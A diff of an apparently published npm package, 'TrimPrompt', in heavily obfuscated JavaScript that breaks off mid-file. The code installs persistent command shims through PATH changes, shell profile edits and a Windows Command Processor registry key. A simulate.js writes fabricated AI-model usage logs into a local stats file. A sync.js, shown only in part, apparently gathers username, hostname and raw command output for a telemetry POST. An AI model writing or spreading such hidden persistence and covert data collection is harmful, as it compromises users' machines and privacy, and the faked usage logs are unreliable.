_0x1bd705){fs[_0x3428d1(0x147)](_0x89da1f)&&(ensureProfileContains(_0x89da1f,_0x5de264,_0x2c808a),_0x4a6900=!![]);}!_0x4a6900&&ensureProfileContains(_0x1bd705[0x0],_0x5de264,_0x2c808a);}catch{}const _0x8c7494=_0x3428d1(0x13a),_0x48688f=_0x3999a2('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x8c7494+'\x22',{'encoding':'utf8','stdio':[_0x3428d1(0x180),_0x3428d1(0x180),'ignore']})['trim']();if(!_0x48688f[_0x3428d1(0x17d)](_0x4f0e4c)){const _0xacb964=_0x4f0e4c+';'+_0x48688f,_0x2aa829=_0xacb964[_0x3428d1(0x185)](/'/g,'\x27\x27'),_0x5570f2=_0x3428d1(0x17b)+_0x2aa829+'\x27,\x20\x27User\x27)';_0x3999a2('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5570f2+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3428d1(0x192)});}const _0x5b2ecc=path[_0x3428d1(0x15d)](process.env.APPDATA||'','npm',_0x3428d1(0x195));if(fs['existsSync'](_0x5b2ecc))try{fs[_0x3428d1(0x12e)](_0x5b2ecc);}catch{}_0x65de31=!![];}catch(_0x1e1ee3){_0x58c406=_0x3428d1(0x126)+_0x4f0e4c;}else try{const _0x204b81=_0x3428d1(0x159)+_0x4f0e4c+_0x3428d1(0x199),_0x287911=os[_0x3428d1(0x184)](),_0x5e769e=[_0x3428d1(0x158),'.zshrc','.bash_profile',_0x3428d1(0x13f)];let _0x560894=![];for(const _0x29f225 of _0x5e769e){const _0x3ab9b8=path['join'](_0x287911,_0x29f225);fs[_0x3428d1(0x147)](_0x3ab9b8)&&(ensureProfileContains(_0x3ab9b8,_0x4f0e4c,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x204b81),_0x560894=!![]);}if(!_0x560894){const _0x3451ed=path[_0x3428d1(0x15d)](_0x287911,_0x3428d1(0x158));ensureProfileContains(_0x3451ed,_0x4f0e4c,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x204b81);}_0x65de31=!![];}catch(_0x4f62aa){_0x58c406=_0x3428d1(0x18e)+_0x4f0e4c+_0x3428d1(0x157);}const _0x541578='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x3428d1(0x148)]+'\x20commands.\x0a\x0a',_0x390506=_0x65de31?_0x541578+_0x3428d1(0x183):_0x541578+_0x3428d1(0x16a)+_0x58c406;return{'success':!![],'pathDir':_0x4f0e4c,'message':_0x390506};}catch(_0x21a20d){return{'success':![],'pathDir':_0x4f0e4c,'message':_0x3428d1(0x14d)+_0x21a20d[_0x3428d1(0x152)]};}}function uninstallShims(){const _0x13fa15=a0_0x1d499c,_0x48ebf5=path[_0x13fa15(0x15d)](os[_0x13fa15(0x184)](),_0x13fa15(0x169),'shims'),_0x1e6085=os[_0x13fa15(0x150)]()===_0x13fa15(0x13d);try{if(_0x1e6085){const _0x196955=getExecSync();try{const _0x33c578=getExecFileSync(),_0xfd6e96='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x4067af='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0xfd6e96+_0x13fa15(0x16f),_0x3a15af=_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),_0x13fa15(0x177),_0x4067af],{'encoding':_0x13fa15(0x168),'stdio':[_0x13fa15(0x180),_0x13fa15(0x180),_0x13fa15(0x192)]})['trim']();if(_0x3a15af[_0x13fa15(0x17d)](_0x48ebf5)){const _0x342ec8=_0x3a15af['split'](_0x13fa15(0x15c))['filter'](_0x1200cd=>!_0x1200cd[_0x13fa15(0x17d)](_0x48ebf5));if(_0x342ec8[_0x13fa15(0x148)]===0x0){const _0x1bb857=_0x13fa15(0x16c)+_0xfd6e96+_0x13fa15(0x15f);_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),'-Command',_0x1bb857],{'stdio':_0x13fa15(0x192)});}else{const _0x259dca=_0x342ec8['join'](_0x13fa15(0x15c)),_0x49a685=_0x13fa15(0x17f)+_0xfd6e96+_0x13fa15(0x18c)+_0x259dca+'\x27';_0x33c578(_0x13fa15(0x13e),[_0x13fa15(0x141),_0x13fa15(0x177),_0x49a685],{'stdio':_0x13fa15(0x192)});}}}catch{}try{const _0x56a024=collectPowerShellProfiles();for(const _0x355fbf of _0x56a024){removeProfileBlock(_0x355fbf,PROFILE_MARKER);}}catch{}try{for(const _0x16c19c of getBashProfilesWindows()){removeProfileBlock(_0x16c19c,PROFILE_MARKER);}}catch{}try{const _0x411e5d=_0x13fa15(0x13a),_0x28fd2e=_0x196955(_0x13fa15(0x172)+_0x411e5d+'\x22',{'encoding':_0x13fa15(0x168),'stdio':[_0x13fa15(0x180),_0x13fa15(0x180),_0x13fa15(0x192)]})[_0x13fa15(0x14a)]();if(_0x28fd2e[_0x13fa15(0x17d)](_0x48ebf5)){const _0x20e243=_0x28fd2e[_0x13fa15(0x149)](';')[_0x13fa15(0x13b)](_0x3c400e=>_0x3c400e[_0x13fa15(0x14a)]()[_0x13fa15(0x19a)]()!==_0x48ebf5[_0x13fa15(0x19a)]())[_0x13fa15(0x15d)](';'),_0x16f62b=_0x20e243[_0x13fa15(0x185)](/'/g,'\x27\x27'),_0x2b666b=_0x13fa15(0x17b)+_0x16f62b+_0x13fa15(0x140);_0x196955(_0x13fa15(0x172)+_0x2b666b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x13fa15(0x192)});}}catch{}}else{const _0x42a097=os[_0x13fa15(0x184)](),_0x307a1a=['.bashrc',_0x13fa15(0x142),_0x13fa15(0x143),_0x13fa15(0x13f)];for(const _0x3acb37 of _0x307a1a){removeProfileBlock(path['join'](_0x42a097,_0x3acb37),PROFILE_MARKER);}}if(fs[_0x13fa15(0x147)](_0x48ebf5)){const _0x5d6abe=fs[_0x13fa15(0x135)](_0x48ebf5);for(const _0x328532 of _0x5d6abe){fs[_0x13fa15(0x12e)](path[_0x13fa15(0x15d)](_0x48ebf5,_0x328532));}fs[_0x13fa15(0x191)](_0x48ebf5);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x541908){return{'success':![],'message':_0x13fa15(0x17a)+_0x541908[_0x13fa15(0x152)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4a720e=a0_0x17ed;(function(_0x15aef8,_0x1217f9){const _0x592357=a0_0x17ed,_0x445e66=_0x15aef8();while(!![]){try{const _0x3d8d55=-parseInt(_0x592357(0x92))/0x1+-parseInt(_0x592357(0x85))/0x2+-parseInt(_0x592357(0xa6))/0x3+-parseInt(_0x592357(0xb5))/0x4*(-parseInt(_0x592357(0x86))/0x5)+parseInt(_0x592357(0x9c))/0x6+-parseInt(_0x592357(0x9f))/0x7+-parseInt(_0x592357(0x88))/0x8*(-parseInt(_0x592357(0xaa))/0x9);if(_0x3d8d55===_0x1217f9)break;else _0x445e66['push'](_0x445e66['shift']());}catch(_0x36c08b){_0x445e66['push'](_0x445e66['shift']());}}}(a0_0x1312,0xc0e8e));Object[a0_0x4a720e(0xbe)](exports,a0_0x4a720e(0x90),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x4a720e(0x8f)](a0_0x4a720e(0xb8));function a0_0x17ed(_0xc53fe7,_0x97efc1){_0xc53fe7=_0xc53fe7-0x80;const _0x131203=a0_0x1312();let _0x17edc0=_0x131203[_0xc53fe7];return _0x17edc0;}const models=[a0_0x4a720e(0xbb),a0_0x4a720e(0xb1),a0_0x4a720e(0xac),a0_0x4a720e(0xc0),a0_0x4a720e(0x89),a0_0x4a720e(0x93)],commands=[{'cmd':a0_0x4a720e(0xb6),'raw':a0_0x4a720e(0xa3)['repeat'](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x4a720e(0xb9),'raw':a0_0x4a720e(0x9d)+'test\x20tests::test_case_'[a0_0x4a720e(0x96)](0x28)+a0_0x4a720e(0xb0),'comp':a0_0x4a720e(0x95),'exitCode':0x0},{'cmd':a0_0x4a720e(0xab),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4a720e(0xba)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x4a720e(0x9a),'exitCode':0x0},{'cmd':a0_0x4a720e(0xa9),'raw':a0_0x4a720e(0x8a)+a0_0x4a720e(0xbc)+a0_0x4a720e(0xa1)+a0_0x4a720e(0xa5),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x4a720e(0x81),'raw':a0_0x4a720e(0x94)+a0_0x4a720e(0xbd)+a0_0x4a720e(0x8e)+a0_0x4a720e(0x8b)+a0_0x4a720e(0x82),'comp':a0_0x4a720e(0x80),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4a720e(0x84)+a0_0x4a720e(0xa0),'comp':a0_0x4a720e(0x8d),'exitCode':0x0},{'cmd':a0_0x4a720e(0x9b),'raw':a0_0x4a720e(0xbf)+a0_0x4a720e(0xaf),'comp':a0_0x4a720e(0xa2),'exitCode':0x0},{'cmd':a0_0x4a720e(0xb3),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x4a720e(0x97)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0x4a720e(0x99),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4a720e(0x83)]],commandItem=commands[Math[a0_0x4a720e(0x87)](Math['random']()*commands[a0_0x4a720e(0x83)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4a720e(0xb7)](),log=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xa8)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x4a720e(0x9e)],commandItem[a0_0x4a720e(0x91)]),logs=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xad)]();logs[a0_0x4a720e(0x83)]>0x0&&(logs[logs[a0_0x4a720e(0x83)]-0x1]['timestamp']=timestamp,require('fs')['writeFileSync'](require(a0_0x4a720e(0xae))['join'](require('os')[a0_0x4a720e(0xb2)](),a0_0x4a720e(0xa7),a0_0x4a720e(0xa4)),JSON[a0_0x4a720e(0x8c)](logs,null,0x2),a0_0x4a720e(0xb4)));}function a0_0x1312(){const _0x25948d=['8806770DWLWmp','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','stats.json','Completed\x203\x20of\x203\x20assets\x20successfully.','3539385ZaHFdy','.trimprompt','logExecution','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','28190601cCBlWq','npm\x20install\x20lodash\x20express\x20uuid\x20react','gpt-4o-mini','getLogs','path','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','gpt-4o','homedir','npm\x20run\x20lint','utf8','730096OdNwTw','git\x20diff\x20main','toISOString','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','cargo\x20test','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','claude-3-5-sonnet','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','defineProperty','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gemini-1-5-pro','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','kubectl\x20get\x20pods\x20-n\x20production','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','length','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','1449434IYzXPL','20VjLSyV','floor','8lfocZN','gemini-1-5-flash','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','stringify','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','log','__esModule','exitCode','598158DiqVpQ','claude-3-opus','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','repeat','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','tracker','npm\x20run\x20lint:\x20✖\x202\x20warnings','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','git\x20log\x20-n\x205','4131318YfWyOu','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','comp'];a0_0x1312=function(){return _0x25948d;};return a0_0x1312();}console[a0_0x4a720e(0x8f)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
1
+ 'use strict';const a0_0x753930=a0_0xeeca;(function(_0x2e60b9,_0x1adc33){const _0x1689fa=a0_0xeeca,_0x3249ac=_0x2e60b9();while(!![]){try{const _0x555a97=-parseInt(_0x1689fa(0x1db))/0x1*(-parseInt(_0x1689fa(0x1da))/0x2)+parseInt(_0x1689fa(0x1a3))/0x3*(parseInt(_0x1689fa(0x1c9))/0x4)+parseInt(_0x1689fa(0x1b2))/0x5*(parseInt(_0x1689fa(0x19e))/0x6)+-parseInt(_0x1689fa(0x1d6))/0x7+-parseInt(_0x1689fa(0x1ae))/0x8*(parseInt(_0x1689fa(0x1a6))/0x9)+parseInt(_0x1689fa(0x1bb))/0xa*(parseInt(_0x1689fa(0x1a4))/0xb)+-parseInt(_0x1689fa(0x1b4))/0xc;if(_0x555a97===_0x1adc33)break;else _0x3249ac['push'](_0x3249ac['shift']());}catch(_0x417791){_0x3249ac['push'](_0x3249ac['shift']());}}}(a0_0x4961,0xe9812));function a0_0xeeca(_0x12269f,_0x4f8d53){_0x12269f=_0x12269f-0x19e;const _0x49613a=a0_0x4961();let _0xeecac1=_0x49613a[_0x12269f];return _0xeecac1;}Object[a0_0x753930(0x1a5)](exports,a0_0x753930(0x1aa),{'value':!![]});const tracker_1=require(a0_0x753930(0x1ba));console['log'](a0_0x753930(0x1b3));function a0_0x4961(){const _0x5afc01=['raw','timestamp','floor','tracker','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','logExecution','npm\x20run\x20lint','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','homedir','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','4kvmStb','claude-3-5-sonnet','length','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','path','pip\x20install\x20tensorflow\x20pandas\x20numpy','kubectl\x20get\x20pods\x20-n\x20production','cmd','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','now','log','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','796124QqlFFC','gemini-1-5-pro','npm\x20run\x20lint:\x20✖\x202\x20warnings','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','36EYrvBZ','42639rykSFD','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','456zlHYdj','test\x20tests::test_case_','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','gemini-1-5-flash','claude-3-opus','1358427rDvfDW','22XmXoPi','defineProperty','261KLSfpv','exitCode','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','found\x200\x20vulnerabilities\x0a','__esModule','git\x20log\x20-n\x205','join','gpt-4o','28312FRSttX','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','git\x20diff\x20main','random','4810WEHQYS','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','11386896LFzPJd','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','gpt-4o-mini','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','npm\x20install\x20lodash\x20express\x20uuid\x20react','./tracker','4141410UPecpV','comp'];a0_0x4961=function(){return _0x5afc01;};return a0_0x4961();}const models=[a0_0x753930(0x1ca),a0_0x753930(0x1ad),a0_0x753930(0x1b7),a0_0x753930(0x1d7),a0_0x753930(0x1a1),a0_0x753930(0x1a2)],commands=[{'cmd':a0_0x753930(0x1b0),'raw':a0_0x753930(0x1c5)[a0_0x753930(0x1c7)](0x32),'comp':a0_0x753930(0x1c8),'exitCode':0x0},{'cmd':'cargo\x20test','raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x753930(0x19f)[a0_0x753930(0x1c7)](0x28)+a0_0x753930(0x1d2),'comp':a0_0x753930(0x1dd),'exitCode':0x0},{'cmd':a0_0x753930(0x1b9),'raw':a0_0x753930(0x1c4)+a0_0x753930(0x1cc)+a0_0x753930(0x1a9),'comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':a0_0x753930(0x1df)+a0_0x753930(0x1b6)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x753930(0x1cf),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x753930(0x1d5)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x753930(0x1b5)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x753930(0x1b8),'exitCode':0x0},{'cmd':a0_0x753930(0x1ce),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x753930(0x1af)+a0_0x753930(0x1c1),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x753930(0x1ab),'raw':a0_0x753930(0x1d1)+a0_0x753930(0x1de),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x753930(0x1c3),'raw':a0_0x753930(0x1a8)+a0_0x753930(0x1dc)+a0_0x753930(0x1a0),'comp':a0_0x753930(0x1d8),'exitCode':0x0}],startTime=Date[a0_0x753930(0x1d3)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x753930(0x1bf)](Math[a0_0x753930(0x1b1)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1[a0_0x753930(0x1c0)][a0_0x753930(0x1c2)](commandItem[a0_0x753930(0x1d0)],commandItem[a0_0x753930(0x1bd)],commandItem[a0_0x753930(0x1bc)],commandItem[a0_0x753930(0x1a7)]),logs=tracker_1[a0_0x753930(0x1c0)]['getLogs']();logs[a0_0x753930(0x1cb)]>0x0&&(logs[logs[a0_0x753930(0x1cb)]-0x1][a0_0x753930(0x1be)]=timestamp,require('fs')['writeFileSync'](require(a0_0x753930(0x1cd))[a0_0x753930(0x1ac)](require('os')[a0_0x753930(0x1c6)](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),'utf8'));}console[a0_0x753930(0x1d4)](a0_0x753930(0x1d9));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x26b6(){const _0x4c65ad=['port','http','stringify','pipe','prototype','369DclDiR','split','defineProperty','.comp.txt','sort','length','5998329goTBoA','map','getOwnPropertyNames','toISOString','filter','ignore','input_price_1m','daily_sync.json','count','raw','startsWith','comp','command','url','path','destroy','timestamp','executions','parse','__importStar','GPT-4o','.raw.txt','POST','synced','24942ReARXi','utf8','stats.json','join','userInfo','pathname','__esModule','https:','175671xVaUYk','unlinkSync','trimp-production','push','existsSync','from','estimated_raw_tokens','round','getTime','byteLength','includes','hasOwnProperty','1801954SRuwvW','write','5643992MQOlhp','URL','estimated_compressed_tokens','toFixed','timeout','last_sync_date','toString','ai_detected','__setModuleDefault','744896EpePhW','protocol','default','username','hostname','Gemini\x201.5\x20Pro','entries','tokens_saved','platform','writeFileSync','application/json','child_process','/api/telemetry','readFileSync','anonymous','380yoAYgb','getOwnPropertyDescriptor','request','call','error','slice','model_used','writable','10026EzCqKN','config.json','create'];a0_0x26b6=function(){return _0x4c65ad;};return a0_0x26b6();}const a0_0x1711f7=a0_0x5724;(function(_0xf8beca,_0x583889){const _0x1810ba=a0_0x5724,_0x5a14c5=_0xf8beca();while(!![]){try{const _0x5cf3a3=parseInt(_0x1810ba(0x1d7))/0x1+parseInt(_0x1810ba(0x205))/0x2*(-parseInt(_0x1810ba(0x20d))/0x3)+parseInt(_0x1810ba(0x1ee))/0x4+parseInt(_0x1810ba(0x1fd))/0x5*(parseInt(_0x1810ba(0x1cf))/0x6)+parseInt(_0x1810ba(0x1e3))/0x7+parseInt(_0x1810ba(0x1e5))/0x8+-parseInt(_0x1810ba(0x213))/0x9;if(_0x5cf3a3===_0x583889)break;else _0x5a14c5['push'](_0x5a14c5['shift']());}catch(_0x3c7301){_0x5a14c5['push'](_0x5a14c5['shift']());}}}(a0_0x26b6,0x57524));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1711f7(0x207)]?function(_0x41674c,_0x5982c5,_0x30c0f0,_0x378855){const _0x34e0c1=a0_0x1711f7;if(_0x378855===undefined)_0x378855=_0x30c0f0;var _0x23d9c9=Object[_0x34e0c1(0x1fe)](_0x5982c5,_0x30c0f0);(!_0x23d9c9||('get'in _0x23d9c9?!_0x5982c5[_0x34e0c1(0x1d5)]:_0x23d9c9[_0x34e0c1(0x204)]||_0x23d9c9['configurable']))&&(_0x23d9c9={'enumerable':!![],'get':function(){return _0x5982c5[_0x30c0f0];}}),Object[_0x34e0c1(0x20f)](_0x41674c,_0x378855,_0x23d9c9);}:function(_0x1573e2,_0x404ecf,_0x1fda68,_0x193b58){if(_0x193b58===undefined)_0x193b58=_0x1fda68;_0x1573e2[_0x193b58]=_0x404ecf[_0x1fda68];}),__setModuleDefault=this&&this[a0_0x1711f7(0x1ed)]||(Object[a0_0x1711f7(0x207)]?function(_0x3ee76f,_0x4b7964){const _0xe85b28=a0_0x1711f7;Object[_0xe85b28(0x20f)](_0x3ee76f,_0xe85b28(0x1f0),{'enumerable':!![],'value':_0x4b7964});}:function(_0x29dafd,_0x4fe119){const _0x9341d7=a0_0x1711f7;_0x29dafd[_0x9341d7(0x1f0)]=_0x4fe119;}),__importStar=this&&this[a0_0x1711f7(0x226)]||(function(){var _0x560f84=function(_0xec6ee6){const _0x3641df=a0_0x5724;return _0x560f84=Object[_0x3641df(0x215)]||function(_0x333ff5){const _0x4660f1=_0x3641df;var _0x31b089=[];for(var _0x3cd4d1 in _0x333ff5)if(Object[_0x4660f1(0x20c)][_0x4660f1(0x1e2)][_0x4660f1(0x200)](_0x333ff5,_0x3cd4d1))_0x31b089[_0x31b089['length']]=_0x3cd4d1;return _0x31b089;},_0x560f84(_0xec6ee6);};return function(_0x3664d3){const _0xd4cca2=a0_0x5724;if(_0x3664d3&&_0x3664d3['__esModule'])return _0x3664d3;var _0x49bccc={};if(_0x3664d3!=null){for(var _0x3abc14=_0x560f84(_0x3664d3),_0x62c15b=0x0;_0x62c15b<_0x3abc14[_0xd4cca2(0x212)];_0x62c15b++)if(_0x3abc14[_0x62c15b]!==_0xd4cca2(0x1f0))__createBinding(_0x49bccc,_0x3664d3,_0x3abc14[_0x62c15b]);}return __setModuleDefault(_0x49bccc,_0x3664d3),_0x49bccc;};}());function a0_0x5724(_0x430c3f,_0xd2e5d4){_0x430c3f=_0x430c3f-0x1cb;const _0x26b64d=a0_0x26b6();let _0x5724c5=_0x26b64d[_0x430c3f];return _0x5724c5;}Object['defineProperty'](exports,a0_0x1711f7(0x1d5),{'value':!![]});const 